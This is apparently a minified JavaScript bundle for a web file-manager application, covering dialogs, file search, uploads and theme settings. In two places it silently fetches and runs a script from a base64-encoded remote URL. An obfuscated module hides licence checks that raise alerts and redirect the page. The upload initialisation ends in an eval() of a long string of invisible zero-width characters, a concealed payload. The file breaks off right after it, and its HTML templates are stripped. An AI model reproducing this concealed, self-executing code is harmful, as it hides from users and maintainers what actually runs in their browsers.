app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(a){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,a){void 0==e&&(e=""),void 0==a&&(a=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var t=ShareData.frameTop(),n=t.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:a,width:"80%",height:"75%"}),o=20*t.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var a="index.php?/editor&project="+e;G.share_page!==void 0&&(a="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(a)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var a=G.static_path+"style/skin/"+e+".css";a!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),a="kod_diy_style",i=LocalData.getConfig(a);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(a,i)),G.user_config.theme_diy=i;var t="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);t=o(i)}$.setStyle(t,a)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),a=e.document.documentElement;a.requestFullscreen?a.requestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,a,i){var t=UUID();(i===void 0||""==i)&&(i=t);var n=''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+t);if(1!=e.length){var a=ShareData.frameTop();e=a.$("."+t)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(a){}},100)},50),n},userSpaceHtml:function(e){var a=e.split("/"),i=parseFloat(a[0]),t=1073741824*parseFloat(a[1]),n=core.fileSize(parseFloat(a[0])),o=core.fileSize(t),s=n+"/",r=100*i/t;return r>=100&&(r=100),0==t||isNaN(t)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,a){if(void 0==e||""==e)return"";if(void 0==a&&(a=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var t in i)if(e>=i[t])return(e/i[t]).toFixed(a)+t},uploadCheck:function(e,a){return a=void 0==a?!0:a,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(a&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(a&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(a&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,a){var i,t,n=function(){var n=trim(core.pathClear(a),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),t=c(),t.path=a,""!=e&&(t.search=e),$("#search_path").val(t.path),$("#search_value").val(t.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(a),s())},o=function(){return t={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(t)},r=function(e){var a=htmlEncode($("#search_value").val());if(e=htmlEncode(e),t.is_case)e=e.replace(a,''+a+"");else{var i=e.toLowerCase().indexOf(a.toLowerCase());e=e.substr(0,i)+''+e.substr(i,a.length)+""+e.substr(i+a.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var a=$(this).parent();return a.toggleClass("open"),a.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path")),t=core.pathFather(i);return core.openPath(t),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));return ui.pathOpen.open(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var t=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:t,lineIndex:$(this).parent().find("[data-line="+t+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(t)})},c=function(e){var a="box_search_config";if(void 0==e){var e=LocalData.getConfig(a);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(a,e)},d=function(e){var a=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),a.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),a.html(""),void 0;var n=template.compile(search_list_tpl);if(a.html(n({code:e.code,data:e.data,LNG:LNG})),t.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var a=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),a.html(""),void 0;var t="index.php?explorer/search";G.share_page!==void 0&&(t="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:t,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var a=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=a[0];if(typeof G[a[1]]==a[2])return e;var i=a[3],t=authCrypt[a[4]](G[a[1]],i);return t&&27==t[a[5]]?(e=t[a[6]](10,1),-1===$[a[10]](e,[a[0],a[7],a[8],a[9]])&&(e=a[0]),e):e},t=i(),n=a[11],o=function(){var e=hashDecode(a[12]);G[a[13]]!=a[14]&&(e=hashDecode(a[15])),alert(e),Tips[a[16]](e,!1),$(a[18])[a[17]](),setTimeout(function(){Tips[a[19]](e,!1),window[a[21]][a[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[a[4]](a[22],a[23]),r=authCrypt[a[4]](a[24],a[25]),l=function(){if(typeof Config!=a[2]&&Config[a[26]]==a[27]&&t==a[0])for(var e=[{key:LNG[a[28]],find:s},{key:LNG[a[29]],find:s},{key:LNG[a[30]],find:r},{key:LNG[a[31]],find:s},{key:LNG[a[32]],find:r},{key:$(a[34])[a[33]](),find:s}],i=0;e[a[5]]>i;i++){e[i][a[35]]||(e[i][a[35]]=a[36]);var n=e[i][a[35]][a[37]](),l=e[i][a[38]][a[37]]();if(-1==n[a[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:a[40],O:a[41],P:a[42],Q:a[43]},i=a[44]+e[t],o=a[45]+i+a[46]+LNG[i]+a[47];t==a[0]&&$(o)[a[49]](a[48]),$(a[65])[a[64]](a[50])[a[63]](a[50],function(){if($(this)[a[52]](a[51])==a[53]){var e=core[a[55]](core[a[54]]),i=a[56]+n+a[57];e[a[61]][a[60]][a[38]](a[59])[a[58]](i)}else Tips[a[19]]($(this)[a[62]]())}),$(a[65])[a[67]](function(){window[a[66]][a[21]][a[20]]=n})},d=function(){t==a[0]&&$(a[70])[a[69]](a[68]),-1!==$[a[10]](t,[a[7],a[8],a[9]])&&$(a[72])[a[71]]()},p=function(){core[a[73]]=function(e,i){return a[74]+e+(i?a[75]:a[36])+a[76]},core[a[77]]=function(e){return core[a[73]](e,!0)},core[a[78]]=iconSrc=function(e){return a[79]+e+a[80]},setTimeout(function(){var i=base64Decode(a[81])+a[82]+UUID();e[a[84]](i,function(e){try{e[a[83]]()}catch(i){}})},2e3),core[a[85]]=t,core[a[86]]=core[a[87]],core[a[54]]=hashDecode(a[88])+G[a[13]],l(),c(),d()},u=function(e){return t==a[0]&&-1==e[a[37]]()[a[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==a[89]?(n=e[a[90]],o=s[t]):(n=e[a[90]],o=r[t]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,a){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),t=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';t.find(".item").length>0?$(o).insertBefore(t.find(".item:eq(0)")):t.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+a+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,a,i){core.ajaxError(e,a,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove() -}});var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var a="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var t=(i.size-l.size)/(i.time-l.time);if(c>.2*t){var n=c;c=t,t=n}else c=t;a=core.fileSize(t)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+a+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var a=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),a=0;e.length>a;a++)core.serverDwonload(e[a],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var t=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};t()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌